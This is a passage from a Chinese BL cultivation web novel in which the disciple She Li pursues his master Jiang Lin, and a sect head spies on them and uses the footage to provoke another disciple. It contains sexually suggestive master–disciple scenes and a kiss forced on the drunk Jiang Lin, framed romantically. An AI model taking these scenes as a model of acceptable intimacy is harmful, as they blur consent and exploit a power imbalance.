江林缓缓挑了挑眉,收回视线,垂眼看向佘离,语气不冷不淡:“佘离,我们是师徒。” 佘离摇头,见师尊没将他赶走,他便大着胆子将手探入师尊衣摆,看着师尊黝黑清润的眼瞳,嗓音沙哑:“师徒又如何,我爱您,我能为您死我什么都能做的。” 江林对于他过分的动作,只是抬手轻轻拂过他的鬓角凌乱的发丝,望着那双兴奋到几乎流泪的眼睛,眉眼间依旧平静,他低声道:“是我没有教好你,阿离” 佘离蹭着江林,舌尖猩红,泛着水光,嘴角随之被撑大了些,他望着师尊清冷的眉眼很轻地蹙了下眉,表情似乎有些难耐,这对于他来说是极大的鼓舞,一双眼一直直勾勾的自下而上的看着师尊。 这层关系带着一层隐秘的背/德感。 江林手指轻轻收拢着他垂下的刘海,眼神毫无温情,十分平静,仿佛在打量佘离的功课做得好不好,需不需要他停下来教导一番。 佘离轻轻呼出一口气,咽了咽口水,一双眼痴痴地看着江林:“师尊徒儿做得好不好?” 江林手指碰了碰他的额头,凤眼狭长,眼尾不易察觉地露出一抹红,犹如坚冰融化滴落在湖面的水珠,他答非所问地说道:“阿离,你出汗了。” 佘离探出自己分叉的舌头,浑身冒着汗,他用脸蹭江林,痴迷道:“每次看见师尊,都像是要发/情一样” “传言道蛇性本/淫这话还是有些考究的?”江林薄唇微红,声音比平时多了一分磁性,听得佘离耳根发软,囫囵的点头,他说师尊说是什么就是什么。 镜子中两人越发交缠的虚影在某一刻变得扭曲模糊,又瞬间变得正常。 玉溯宗,掌门寝殿内,站在人高镜子前的段白面色阴沉地看着镜中的画面,镜子旁边散落着青白色碎片,他刚刚用花瓶砸了镜子,最后普通花瓶碎了一地,窥虚法镜却完好无损,传来江林和一条臭蛇暧昧的声音。 段白怎么也没想到江林居然会那么轻易答应佘离的请求,他的清高呢?他的不屈呢?他的高傲呢? 段白回到自己的肉身,重新扭转剧情,设置了这个师兄的角色,他对江林多个世界严谨的分析中得出结论,这种温柔的角色似乎更能得到他的青睐,但没想到还是被那不要脸的蛇抢先一步。 这个世界是以江林的意识创造的,只要江林对段白这个身份的师兄产生一丝一毫真实的感情,不论是喜欢还是怜悯,段白都能借助这一丝情绪重新掌握主动权,但没有。 江林仿佛一个铁石心肠的木头人。 就算在幻境中他以师兄的身份为两人的师尊报仇,差点修为尽毁,都没有一丝动容和真情。 但是!那条蛇不过是哀求几句,便能得到他的青睐? 凭什么?!佘离算是什么东西? 段白挥了挥袖子,铜镜恢复平静,只出现他的模样,双眼冰冷阴鸷。 /// “够了,阿离。”江林感觉身上那股窥视感消散之后,抓住佘离的手臂,不让他继续下去。 佘离冒出一点委屈的情绪,抹了抹脸上的痕迹,一双蛇瞳若隐若现,沉声问:“为什么?” 江林只是静静盯着他,佘离就算身体如同沸水翻腾,也不敢继续下去,只能咬紧牙硬撑。 他起身手掌撑在江林膝盖上,两人平视着,鼻尖相差一根手指的距离,佘离低声道:“师尊不能只顾自己,不顾徒儿的死活,您别赶我,让我看着您好不好?” 江林对于这个请求没有拒绝,佘离松开他,浑身衣服散去,扫开了圆桌上的茶壶,自己躺了上去,大剌剌朝着江林张开腿,江林的视线平静而又冷漠地扫过他的身体。 佘离只觉得那虚无的视线也如同有了实质,师尊的目光成为了他最好的兴奋剂,摆出最风骚妩媚的样子,试图诱惑江林,但江林半点不为所动。 佘离轻吟着开口:“师尊,摸我的**好不好?” 他可以说是完全摒弃了师徒之情,坚持将这块遮羞布扯掉,江林闭上眼睛,任由佘离胡闹,他知道他不敢来碰自己。 江林屏蔽声音的瞬间,听到的佘离一句大逆不道、试图引起江林注意的话:“师尊给徒儿操吧” 江林心无波澜,仿佛没听见,气息沉稳,不受丝毫影响。 佘离见状越发放肆了,什么话都敢说出口,看着江林便能发情,双眼直勾勾看着江林浅淡的薄唇,眉心出现的那点金色莲花印记,幻想着他情动的模样。 /// 彼时正在西海的赵天肃,正在替师尊寻找修复本命法宝的炼器材料,顺带着救了差点被蛟蛇吞噬的师弟。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 130-140 第131章 心魔除掉之后, 江林便感觉原本顿涩的经脉变得畅通,灵力运转间,洗涤灵台, 充盈经脉,体感非凡。 五年后, 江林感觉偏屋的灵力涌动,夹杂丝丝妖气,是熟悉的气息, 佘离突破金丹了。 佘离身为玄蛇后代,血脉难得, 就算此前又是修为被废、妖丹破损、放血助阵 也不过只是让他的突破迟了三年,佘离和赵天肃年纪相仿,相差不过两三岁,但不论是天赋和修为,都是不分伯仲,且各有所长。 江林替佘离护法, 施法掩饰他身上玄蛇的气息, 直到从屋内冲出来一个人影, 朝着江林身上扑去,江林转身躲过, 佘离便冲进了山洞外的瀑布里。 冰冰凉的水, 瞧见一条墨黑的蛇尾,鳞片在太阳下闪烁着五彩斑斓的色彩,长发佘离长得越发妖异, 一双眼依旧直勾勾地看着师尊。 江林站在岸边,垂眼看着撒泼的佘离,眉心出现的金色莲花印显得神圣又清冷。 “该回宗门了。”江林不准备继续看徒弟洗澡, 扔下一句话,率先瞬移回清心殿。 门前有不少通讯符,里面不乏邀请他小聚的,还有求助他帮忙的,亦有好友和他分享趣事野史的,江林收走通讯符,一扫而过,其中不少都是感叹他徒儿赵天肃年少有为的事迹。 西海之行,探入海墟之境,破海墟,除邪祟,重铸西海龙宫;后又剑门比武,拿下头筹等等 江林倒也不意外,这些不过是龙傲天的基操而已。 赵天肃也有给他留信,不日便会带着师弟回宗门。 /// “唔,师兄这么久没回宗门,连门都差点找不到了呢。”朱子澄娃娃脸上的肉彻底消瘦下来,一双大眼圆溜溜的,感叹地看着多年未归的宗门。 赵天肃依旧是那副冷漠肃然的模样,身材高挑劲瘦,马尾高高盘起,露出浓眉大眼,冷着声道:“这话师尊听了怕是要生气,在外面游历再久终究是要回到师尊身边的。” 朱子澄默默撇了撇嘴,他年少时也极为崇拜师尊,可师尊从未将注意放在他身上,这些年都是大师兄教导他,对师尊的印象变得稀少,倒是对师兄的话奉为圭臬。 两人回到清心殿外,弟子见着两人都毕恭毕敬地弯腰行礼,他们腰上的内门弟子腰牌便是最好的凭证。 四周绿瓦红砖,依旧是从前的模样,屋檐上昂起头的雄狮,院内的葡萄架变得光秃秃的,弟子正在移栽盆栽。见两位师兄回来,灵童连忙匆匆弯腰行礼,解释道:“大师兄,三师兄,你们回来得不巧,师尊昨日和二师兄去了药师岛求药。” 赵天肃一怔,语速都比平日更快了几分:“师尊受伤了?” “不是,清树真君并未受伤,好像是二师兄的事儿”灵童也不甚清楚,只是知道个大概。 “好,既然师尊不在,我改日再来。”赵天肃面无表情,心中却有些不是滋味,生出丝丝嫉妒的心理,但又抑制住那股念头,师尊说要爱重师弟 “赵师兄?”陌生的弟子腰间挂着掌门殿的腰牌,说话间带着询问,眼神在朱子澄和赵天肃两人身上打量,最后望向赵天肃。 “你是谁?”赵天肃冷着声问。 “我是掌门座下弟子,掌门听说赵师兄回来,派遣我来找师兄,有要事相商。”他微微一笑。 赵天肃自认为和这位掌门师伯无任何交集,甚至从前还废过他亲传弟子灵台,算是仇敌,他不认为他有什么好事找自己。 “你先回弟子院。”赵天肃朝着朱子澄点了点头,跟着去了掌门的清念殿。 建筑风格都和清心殿一模一样,让赵天肃忍不住想当初是师尊和师伯商量着修建的? 思及此,赵天肃脸色更冷了两分。 掌门正在招待客人,让他在后殿等了片刻,桌上的茶点赵天肃动都没动,双臂环胸坐在座位上,盘算着掌门是想算账吗?但也不对,事情都过去那么久了。 掌门姗姗来迟,赵天肃站起来朝着他看去,段白脸上带着温和的笑容,抬手让他坐下,且屏退了弟子,偌大的殿内只剩下他们两个人。 “赵师侄天赋异禀,如今修为倒是越发不凡了”段白寒暄了两句,赵天肃不轻不重地嗯了两声,算是回应。 段白也觉得没趣,便直奔主题:“我江林师弟,唉我不知如何劝他,你自己看吧。” 赵天肃拧着眉,不懂他为何提起师尊,但很快段白零帧起手,碧蓝色的留影石绽放出淡淡的蓝光,画面闪烁着,江林和佘离的身影出现在其中,正是那天在镜子中的画面。 赵天肃瞪大了双眼,怒骂一句:“荒唐!” 他避开视线,耳边却还能传来佘离喘息□□的声音:“师尊,师尊好厉害” 段白便收回了留影石,神色复杂又无奈地看着赵天肃,“师尊和徒弟做出这种事情放在整个修真界都是被人唾弃的。师不师,徒不徒,罔顾规矩和法度,执法长老若是知晓,不光佘离会受罚,只怕江师弟的责罚更重” 赵天肃脸色阴沉,怎么也没想到佘离这个孽障居然敢诱骗师尊做出这种事情! 厚颜无耻!包藏祸心!令人不齿! 他牙关紧闭,上下磨动了一瞬,朝着段白拱手,声音低沉冷冽:“还请师伯手下留情,师尊清正孤傲断不可能干出这种事情” “我自然知道江师弟的个性,但奈何有心之人故意为之呢?”段白见他气愤模样,眼底闪过一丝嘲讽,又浮现担忧:“你放心,我与师弟情同手足绝不会揭发他,但纸包不住火,天下没有不透风的墙啊。” 赵天肃脚步凌乱地离开清念殿,被怒火燃烧的理智重新一点点回归,他不是蠢人,暂时被怒火冲昏了头脑后,便开始思考,为何段白会有师尊和师弟这么亲密的影像,是捏造还是真实的? 那么段白又有什么企图呢? 但无论他有什么企图,佘离这个孽障都必须从师尊身边弄走,否则师尊的一世清誉都要毁于一旦。 他默默地将自己心中那点酸涩忽视,然后埋进心底,不敢直视。 /// 江林在药师岛拿了点灵酒,回到宗门的路上喝了点,没想到后劲这么大,整个人都有些晕乎乎的,双眼坠着醉意,眼睛也变得水雾雾的。 佘离看得眼馋,轻轻揽住师尊的胳膊,将他放在院内的躺椅上,贴着师尊的耳尖说道:“师尊,你醉了?” “没醉。”江林又喝了一口,透明的酒水顺着下巴流到脖颈,泛着一些晶莹的光芒。 佘离凑近师尊唇边,跪在地上,舔了舔师尊的下巴。江林醉的很,眯了眯眼,没有将人立刻推开,反而觉得他舔得很舒服,嘴唇也被轻轻吮了吮,他试探地探出舌尖和师尊的舌头贴了贴。 而恰好进来的赵天肃,看见的就是这一怒火焚烧的一幕。 他闪身出现在佘离身后,原本想出剑砍的,但怕误伤了师尊,便拽着佘离的头发,将人甩开。 佘离毫无防备,沉浸在师尊口齿的醇厚酒香中,被抓着头发猛地一拽,疼得龇牙咧嘴,转头瞪向罪魁祸首,却触及赵天肃那双冰冷的眼时,先是心虚了两分,没想到是大师兄赵天肃。 他用灵力挣开他的束缚,倒是先倒打一耙:“你干什么?你刚回来就要和我动手吗?” “这是替师尊收拾门户!”赵天肃稍稍挥袖,一道剑气从袖中砍出,斩断了佘离的发丝,他翻身躲过。 佘离一气之下拿出自己的法器回击,两人打斗在一起,江林靠在躺椅上,眯着眼,脸颊绯红,慢吞吞地喝着见底的酒,清冷的眉眼醉成了春水,灵气涌动,段白出现在院内。 他的视线凝在江林因为醉酒越发诱人的脸上,粘腻又深沉,他蹲在江林脚边,视线和江林眼神对上,轻声道:“师弟,你喝多了吗?” “没呢?还剩下一点点”江林摇头回答,似乎没能认出眼前的人是谁。 段白望着他微微泛红的嘴唇,视线变得滚烫晦暗,锁骨之下的衣裳也变得透明湿润,带着让人探寻的凌乱之意。 他不由微微凑近江林的脸,喉结很轻地滚动了一瞬,身后传来一道清脆的男声:“师伯,师尊醉了无法招待您。” 算漏了朱子澄这个不确定的因素。 段白收回视线,转头看向旁边毕恭毕敬的少年,唇角带着温柔的笑,从储物袋中拿出长毯盖在江林身上,“师弟醉了,你们这些徒弟也不让他省心,也只有我能帮帮他了。” 朱子澄心中狠狠啐了一口,玉溯宗谁还不知道掌门的心思? 真的是一个道貌岸然的伪君子。 “大师兄和二师兄修为天赋都是玉溯宗数一数二的,就算单拎到修真界也是凤毛麟角的存在,我不认为他们有任何问题。”朱子澄顶着一张笑脸说道:“但掌门师伯不要弄错了,这里是清心殿不是清念殿,您要作威作福的话找错了地方。” 段白闻言,心中恨不得就地杀死掉这个不知天高地厚的小子,但现在他置身在这个世界里,却无法随心所欲,这个世界是因为江林而产生的 “师伯,玉溯宗事忙,还请不要耽搁了,彼时是不是也要算到我们师徒头上?”朱子澄看着年纪小,性子也是个顶个的硬气。 段白微笑着拂袖离开,朱子澄不客气的翻了个白眼。 他倏然听见师尊扑哧一声笑,下意识看过去,便见在他印象中不苟言笑的师尊,弯着一双月牙似的笑眼,笑声清朗,眼角眼泪都冒出来了,眼圈、眼尾都是红的。 朱子澄哑了哑,小声说道:“笑什么嘛?有这么好笑嘛?” “子澄,以后啊,对恶心的东西……就该这种态度啊”原本以为醉得人事不知的师尊,却还能清晰地吐出这么一句话,他随即又喝了一口酒,不小心呛了,眼眸更加水亮潋滟了。 朱子澄来不及震惊,连忙去抢他手上的酒坛,“可不能再喝了?!” “哦,好吧。”江林咕噜一声,将最后一口咽下去,狡黠的笑道:“反正也没有啦。” 朱子澄看着空空的酒坛,一时陷入了迷茫,不知道师尊到底醉了还是清醒的。 第132章 朱子澄左右为难, 一方面看着打斗的师兄们害怕真的出个三长两短打死人怎么办,另一方面师尊踉踉跄跄地走到走廊边,身形似乎有些不稳 朱子澄身体比脑子更快地做出了选择, 在江林视线飘忽,手想扶石柱的时候产生了丝丝偏差, 扶了个空,身体往前倾倒,下一瞬手被人抓住。 “小心。”朱子澄握住师尊冰凉的手指, 只是一秒又很快地松开,扶住他的胳膊, 有些无奈地说道:“弟子送您回屋。” 江林的确喝多了,脑子清醒,但身体不受控制,便没有拒绝,眼皮沉重,强撑到门口, 脑袋一歪在朱子澄僵直的肩膀上昏睡过去。 朱子澄连忙接住师尊下滑的身体, 如同揽着烫手山芋般, 匆匆跑进屋里,放在榻上, 深深吸了口气, 耳根脸颊都红了,视线有些慌乱。 江林衣襟被打湿,他又偏爱一些白色的衣裳, 透出一点曲线分明的肌肉,锁骨修长白皙,嘴角却泛着红, 乌黑的睫毛被眼尾的泪痕沁湿,显得湿漉漉的 朱子澄心脏突然跳得好快,眼前的男人真的是那个清冷桀骜的清树真君吗? 他连忙转身,准备离开,但走到门口又顿住了,他现在离开,那个不要脸的掌门又来轻薄他师尊怎么办? 朱子澄又垂头丧气地回到江林身边,弯腰伺候他脱掉云靴,施法让他弄脏的衣服变得干净清爽,做完这些,他扔掉段白留下的披风,给师尊盖上了被褥。 他小声嘀咕着,“不知道这些人一个个都是怎么想的呀,都是男人有什么好惦记的?就算再好看,但也是男人呀” 朱子澄视线轻轻飘过江林的脸,吐槽的声音逐渐小了,直至消失。 “好吧,好吧,师尊的确很厉害。”朱子澄脑海中闪过师尊剔除二师兄妖股上禁文的凶残场面,瞬间便不敢产生任何其他的心思了。 他守在师尊殿内,觉得无聊了,便搬了小凳子撑着下巴,坐在门口看天空时不时闪过的两道身影。 朱子澄打了个哈欠,嗯,师兄们还在打,师尊还在睡 “你这些年就是这么对待师尊的?”赵天肃一剑砍过去,带着毁天灭地的剑意,飞沙走石间,他死死瞪着眼前的佘离。 佘离拿出自己的骨扇,身上的灵气化作护盾,挡着他锐利的剑锋,咬牙道:“你说的什么话?我从未强迫过师尊” “赵天肃!”佘离灵力充盈,震开赵天肃,两人纷纷后退两步。 “你是在嫉妒我吧!”佘离唇角勾起嚣张的笑容:“你嫉妒我能和师尊同床共枕!缠绵悱恻” “住嘴!”赵天肃看着死不悔改的佘离,只觉得丹田怒火焚烧,祭出自己的本命灵剑,“无极剑!给我杀!” 那柄剑的剑气的虚影如同有实质,如同一座大山般朝着佘离砍下去。 佘离的骨扇变成一片片花瓣,挡住那剑意,但最终佘离不是历练多年、实战丰富赵天肃的对手,吐出一口鲜血,他逃窜开 赵天肃冷哼一声,巨大的剑影化作无数柄小剑,朝着佘离追去,佘离背上、胸膛、大腿都是小剑刺穿的伤口。 佘离躺在后山的森林,重伤倒地,唇角的血染红了嘴唇,他放肆大笑着。 赵天肃出现,居高临下地睨着他,眼神冰冷:“你笑什么?” 佘离笑得止不住,就算胸腔不断溢出鲜血也不在乎,他说:“我笑你傻,笑你天真死板,赵天肃你真的敢杀我吗?” “哈哈哈。”佘离像个疯子,“你重伤我,最后给我疗伤的还是师尊,被师尊心疼的还是我,哈哈哈。” 赵天肃脸色铁青阴沉,手中的剑威胁地对准了佘离的脖子。 “来啊,赵天肃,杀了我。”佘离半点不害怕他的威胁,笃定地说道:“当初你废除掌门弟子,师尊便差点抛弃你,那一百魂鞭的味道不好受吧,你敢杀我,我头七那天就是你被赶出师门的一日。” “我不在乎!”赵天肃剑锋在他脖子上划过一条血痕,割开了佘离颈侧的肌肤,稍稍一用力便能取走他的性命:“我就算被赶出师门,也不会让你毁了师尊一辈子的清誉。” 佘离看着冷肃的赵天肃,这才确定这人也是疯子,他真的会杀他,他声音放轻了些:“什么是清誉?我们修仙多年,想要超脱凡俗,不受拘束,自由自在,那为什么还要被所谓的清誉拖累呢?” “大师兄啊,我是什么修为,师尊是什么修为?你怎知师尊不是自愿与我欢好的呢?若是师尊不愿,谁能强迫他?” 赵天肃抓着剑柄的手指微微收紧,一张脸越发冰冷,浑身戾气如霜。 “我拼死给师尊护法的时候你在哪里?”佘离观察着他的表情,语气更轻了些:“我几乎折了半条命才救回师尊,你凭什么问责于我?我对师尊的心,从来不比你轻。” “况且。”佘离嗤笑一声,“你也不必和我假惺惺的,我不信你看向师尊的时候,两眼空空” “放肆!”赵天肃那剑没有刺入他的喉咙,而是转而刺进他的胸膛,止住了佘离后面的话。 佘离疼得面容扭曲,脸色煞白。 赵天肃最终还是没有痛下杀手,两人打了三天三夜,江林才慢吞吞醒来,佘离掐着点似的,直接掠过朱子澄,满身是伤地跑到江林跟前。 “师尊,大师兄要杀了我。”佘离浑身惨状,却还是保持着面容干净俊秀,带着一点楚楚可怜之态。 赵天肃跟在他后面,听见这话,只觉得手中的剑又要按捺不住凶意了。 江林因为醉酒,脑海便有些不清醒,有丝丝抽痛,现在被他吵得更烦了,不由拧紧眉头。 佘离观察他的模样,连忙从储物袋中掏出一颗药丸,不顾自己的身体,轻声道:“师尊可是难受了?那老药师说这酒很厉害,还给了我一颗醒酒丹,吃了便不难受了。” 江林轻轻扫了他一眼,不接那丹药,目光落在已经跪在地上的赵天肃脸上,他沉默且倔强地看着他,朱子澄跟着他跪下,脑袋低低的。 “为什么伤你师弟。”江林哑着嗓音问。 “”赵天肃不能当着这么多人的面说出原因,便只是沉着脸不说话。 “去领罚。”江林懒得问。 赵天肃磕头之后,起身去找了执法弟子,满背都被抽得鲜血淋淋。 朱子澄看着受罚的大师兄有些不满,低声道:“师尊怎么能这么不分青红皂白地冤枉你?” 赵天肃咬着牙,承受着身体的灼伤之苦,心中之酸涩更甚了,给朱子澄传音道:“不许对师尊不敬。” 朱子澄牙都咬坏了,实在不懂师兄这是何苦。 赵天肃闭了闭眼睛,听着自己皮开肉绽的声音,为何师尊要这么偏袒佘离? 为何? /// “你自己下去疗伤。”江林见赵天肃离开,不冷不淡地看向佘离。 佘离不敢继续卖惨,惨兮兮的自己回洞府疗伤,江林耳边清净了一瞬,他又眯着眼睡了一小会。 月纱浮动,树影闪烁,江林倏地睁开双眼,半晌都没有任何动静,他坐起身,揉了揉眉心,声音冷淡:“滚进来吧。” 出现在门外的赵天肃慢慢推开门,低着头,目光落在江林那双云靴上,牙关紧咬,因为江林的态度而嫉妒得发疯,面上却异常冷酷。 “你不满我对你的处罚?”江林看着许多年未见的大徒弟,样貌没有太大的区别,但气息越发沉淀内敛。 “没有。”赵天肃口不对心地说道,他忍不住抬眼,双眼带着屡屡的红血丝,“为什么师尊要对佘离如此放纵?” 江林曲着腿,手肘搭在膝盖上,撑着下巴,眼神平静无澜,“赵天肃,今天罚你,不是因为佘离,而是你越界了。” “”赵天肃恍然看着他,才惊觉自己的那点心思,其实根本无法遮掩。 他凭什么教训佘离,还是以这种被背叛的心态 “你对我不满,大可以拜入其他长老门下。”江林无所谓地说道,睡醒便觉得有些懒散,说着一些绝情的话,半点不在乎赵天肃的死活。 赵天肃心底一寒,又是这种无所谓的态度,像是他只是可有可无的存在,他根本一点也不在乎他。 江林穿好靴子,睡得骨头都散了,准备出门走一走,路过赵天肃身边的时候,被抱住了膝盖。 他有些惊讶,像佘离这样性格的人,膝盖软惯了,也不要脸皮,所以做出任何的行为他都不会惊讶。 但赵天肃不同,他居然会做出这般卑微的行径…… 江林微微低下头,才发现他后背还沁着血,伤口怕是还在淌血便跑过来了。 赵天肃从喉间挤出来的话,冲动之下,脱口而出:“如果他都可以,我为什么不行?” 这话一出,两人都愣住了,江林很轻地笑了一声,赵天肃死死咬住牙关。 “怎么?”江林很荒谬地笑了起来,眉眼间的神情充满了讥笑:“不是刚刚你还在义愤填膺地指责佘离的大逆不道。” “如今倒是要和他一起当大逆不道的孽障了?” “赵天肃你的骨气呢?” 赵天肃张了张嘴,很低地喊了一声:“师尊,我” “够了。”江林低斥:“不要再满口胡言了。” 他眼神变得冷淡,挣开他的手臂,朝着外面走去。 赵天肃看着他的背影,直到消失,心中的感觉太过复杂,分不清那一种占了上峰。龙族血液让他对江林有天生的厌恶感,可是真的厌恶吗? 根本没有,只是恨江林的目光不肯落在他身上。 第133章 赵天肃回宗门, 对江林来的生活影响不大,只是佘离更加喜欢往他跟前凑了,但在触及他不耐烦的目光后, 佘离又会有分寸的离开。 “清树真君。”任务堂的弟子毕恭毕敬地行礼,江林手中把玩着一个精致的香炉, 里面是佘离给他定制的香料,触手生温,味道还清新淡雅, 他蛮喜欢的。 “掌门让我问真君可有兴趣参加梅山门派的宗门比武?”弟子说的梅山门派比武,算是修真界的一个传统。 十大宗门, 玉溯宗为凤尾,梅山门派未列入前十,但若是有宗门不满如今的排位,则可以发起宗门比武,百年一次,发起的宗门要准备足够丰富的资源作为奖励。 而各个宗门都为了这些排名挤破了脑袋, 因为绝大多数的资源都被十大宗门霸占了, 且大宗门的名气大, 更多天赋卓越的弟子愿意拜入大宗门,导致宗门之间的差距越来越大。 江林记忆中出现关于这次比试的一系列的剧情, 彼时他未出关, 赵天肃带着师弟两人参加,师兄弟三人名扬梅山,在这期间, 似乎还让师兄弟三人达成了某种同盟。 具体的剧情他的记忆便缺失了。 “好啊,正好许久未出世,骨头都懒了。”江林这般应道。 佘离见人走了之后, 才蹲在江林脚边,笑眯眯地说道:“师尊若是前去,我便也去凑凑热闹。” 江林摩挲着香炉纹路,轻轻动了动坠着的小铃铛,问:“我不去,你便不去了吗?” “当然啦,我是一定要守在师尊身边的。”佘离煞有其事的点头。 江林望着那张如同女子般妖艳的脸,黑眸冷淡,唇角弯着笑:“灭族之仇也不报了吗?” 佘离的表情这才一僵,双眼变得愤恨又晦暗,“御兽宗已灭,线索已断,查不到了。” 佘离是半妖,是御兽宗弟子和妖族苟合生下来的产物,娘亲从他降生时便死了,他被御兽宗那些弟子当作可以肆意作践的卑贱玩物。成年后,他好不容易逃出御兽宗回到妖族领地,玄蛇亲族元蛇一族收留了他,但最后发现都是御兽宗门派的一场阴谋。 御兽宗连同多个门派,围剿元蛇一族,给他们扣上了祸害凡人的高帽,但实则是这些正道门派的诬蔑而已。 在江林的剧情中,他也是这些正道门派弟子中的其中一位,在他认知中他是在替天行道、为民除害,蛇族虐杀修士蚕食元神,死有余辜,是他亲眼所见。 御兽宗那次之后不久,被人一夜之间灭宗,连御兽宗的所有妖兽都无一活口,所有的线索都似乎断了,这些年佘离报仇,也是听说一些只言片语,找到那些参与此战的修士报仇。 这也是宗门极力反对他收佘离为徒的原因,但当时江林认为不该牵连无辜,佘离年纪小,根本未曾杀过人。 他的这三个徒弟,身上没一个是干干净净,都沾点血海深仇。 江林想到这些便忍不住头疼,将香炉扔还给佘离,“小孩玩意,你自己留着玩吧。” /// 段白在了解到江林也要参加梅山宗门比试后,从喉间挤出一抹冷笑。 他当那掌握人类生死命运、高高在上的主神惯了,便对这些如同蝼蚁般的人充满了蔑视和鄙夷,根本没将他们放在心上。 若不是江林,他们连和他对话的资格都没有。 而那些蠢蠢欲动的切片,在他身体脑海中叫嚣,不老实地想要爬出来。 段白招来自己的白鸽,虚空画了一道特制的音符,只能指定的接收者才能收到他的传信。 他身为掌门是无故不能离开宗门的,所以段白要给江林的徒儿一些惊喜才行。 /// 准备了五天左右,再正式启程,用灵石传送带,非常便捷。 赵天肃站在江林身后,左手边站着佘离,右手边的朱子澄和他传音,他没理会。 江林正在和这次一起前去的两位长老聊天,言简意赅,时不时搭上一句。 “这次梅山派准备了千年雪参、百里丝等等灵草不说,还准备了一条极品灵脉,几条上品灵脉,这是掏家底了吧。” “那可不?” 长老们在前面聊天,弟子们也各自传音聊天。 传送带微微闪烁,一批批的弟子被运送到梅山派底下的梅山镇下,已经有接应的弟子等候在旁。 梅山派弟子非常热情,带着一批批外门弟子入住刚刚打造的屋舍,不算奢华,也不简陋,自有一股淡雅之感。 江林的院前种着排排红梅,院内还有秋千,花团锦簇,空气中带着点点潮湿的感觉,屋顶翘檐也生出了一株金色的小花。 佘离原本和赵天肃并排走的,却在众人离开后,快步走到江林身侧,小声说道:“师尊,我发现了一个小秘密。” 江林看了他一眼,朝着屋内走去,佘离便顺势跟了进去,关上门,将赵天肃和朱子澄的视线隔绝在外。 朱子澄看着佘离的行为,顿时拧紧了眉头:“二师兄这也太旁若无人了吧。” 赵天肃面无表情地说道:“无事,师尊自有他的判断。” 屋内,佘离凑到江林耳畔,轻声说道:“师尊,弟子刚刚登记的时候,在梅山派弟子中看见了几个熟悉的人。” “谁?”江林淡淡的看向他。 “百丈皇族。”佘离压低了声音。 江林眉梢轻轻动了一瞬,百丈皇族是让朱子澄父皇母后成为败家之犬的凡间皇族势力,他的父母都是受尽屈辱而死的,只是没想到几十年的时间,梅山派居然会收揽百丈皇族的子嗣为弟子。 “看着修为不低。”佘离轻轻下着结论,“师弟怕不是他们的对手。” “随他去吧。”江林早就习惯一出门就遇仇敌的剧情,没办法仇人实在是太多了。 说完这些,佘离才暴露出自己真实的想法:“大师兄与我相看两厌,徒儿能不能留在您这里修炼?” 江林冷冷地看了他一眼,佘离盯着那压迫感十足视线一动不动,梗着脖子坚持,最终还是获得了一席之地,在外屋坐榻休息。 赵天肃看着旁边空空无人的床铺,月光从窗棱撒下,在脸上留下一片阴影,因为咬紧的牙关,显得下颌线变得锋利,喉结上下滚动一瞬,将口中的涩然咽下。 朱子澄在旁边呼呼大睡,丝毫没意识到大师兄情绪的不对劲。 /// 第二日,梅山派大长老邀请江林及其弟子叙旧小聚。 “师尊从前和那个大长老认识啊?”佘离低声问道。 江林懒得回答他的话,佘离尴尬地抹了抹鼻子,也不觉得气馁,十句话江林可能回答半句就很高兴了。 赵天肃却在这时候开口了:“师尊,徒儿在外面历练的时候,曾得过叶长老相助,他说看在您的面子上” 江林脚步一顿,似乎没想到还有这一茬,点了点头:“我和叶讯算是忘年交。” 江林性子虽冷,但好在善良,不会随意伤害无辜之人,就这一项便让很多修士都愿意和他同行或成为好友。 大长老瞧着年纪古稀,花白的眉毛和胡子,脸上带着慈祥的笑容,周边环着小灵童,小桌摆上了不少菜肴和灵酒,他这后花园中应该布了聚灵阵,灵力比寻常地方都要浓,只觉得神清气爽。 “江道友,好久不见了啊。”大长老看起来精神矍铄,脚步健朗,走到江林身边邀请他入内。 “叶道友。”江林朝着他微微颔首,他身后站着几个年轻的弟子,朱子澄原本懒散的眼皮微微睁大,他看见了熟悉的人! 佘离和赵天肃都注意到了朱子澄的异样,赵天肃及时按住他的手,眼神示意他冷静。 朱子澄精神有瞬间的恍惚,还以为自己看错了,直到看见那人唇角勾起淡淡的笑容和眼神中的挑衅,才确定没有看错人。 真的是那些畜生! 江林像是没察觉到他们之间的风起云涌,叶讯亲手给他倒上酒:“我知你好酒,便特意准备了好酒招待,若不是此次梅山门派比武,想来还是请不动你这个清树真君的。” “哪里?”江林闻了闻醇厚的酒香,被勾得酒瘾犯了,浅尝起来,唇角的笑容也真切两分。 “这三位就是江兄的弟子吧?”叶讯酒过三巡,才笑眯眯奔向主题:“瞧着个个都是人中龙凤呢。这次也是参赛弟子吗?” “当然。”江林回答,知道叶讯请他吃酒的心思不纯。 “正巧,我的弟子也在,不如让他们来助助兴?”叶讯提议道。 赵天肃三人跪坐在江林身后,望着那道清瘦的背影,这话落在他们心中却有些不得劲,仿佛在他们两人心中,弟子们都只是他们取乐的物件。 朱子澄则是咬破了舌尖,喉间仿佛布满了血腥味,浓稠发腻恶心,岌岌可危的理智在崩坏,若不是大师兄传音提醒他,只怕他现在就已经找那人拼命了。 百丈皇族毫无人性,虐待俘虏,好色成性,而他的父皇和母后、兄弟姐妹都曾是他们□□玩物 唯有被他逃过一劫,且也难逃精神折磨。 “怎么个助兴法?”江林转动着酒杯,靠在椅子上,凤眼冷淡。 “修士嘛,自然是比剑比武,友好切磋,也让我心中有个底啊。”叶讯颇为谦和,“若是梅山派竹篮打水一场空,我也好有心理准备。” 江林很慢的轻扬声调:“比武?友好切磋?” “哈。”江林轻笑一声,四周一静,视线都落在他那张冷凝讽刺的脸上:“若是比试表演,那便不要浪费时间了,除非签下生死契,死伤不论,倒是有些意思。” 彼时,叶讯脸上的笑容已经维持不住了,显得皱纹沟壑,苍老至极。 第134章 温柔的春风似乎出现一丝冷凝, 四周的梅花都在低气压下结了霜般,叶讯没想到江林居然半点脸面和情谊都不给自己。 百丈皇室和朱子澄的恩怨他有所了解,并未放在心上, 并不认为这是什么大事。 且这次主要目的除了和江林叙旧之外,还希望能够得到江林的助力, 他的大徒弟赵天肃的天赋强悍,就连叶讯也有所耳闻,希望江林能够通融放水, 甚至为此准备了不少厚礼。 除了弟子比试之外,宗门排序变化, 还需要十大宗门投票和考察,这些年玉溯宗如日中天,江林的意见代表着玉溯宗,不容小觑,若是能被拉拢,也有一份保障。 叶讯不想一句切磋比试, 居然会让江林提起生死契。 但箭在弦上, 叶讯若是露怯, 便是在宗门弟子和玉溯宗弟子面前丢了脸面和气质,在这个节骨眼上, 他断不能失了气度。 江林曾经和叶讯有过一些交情, 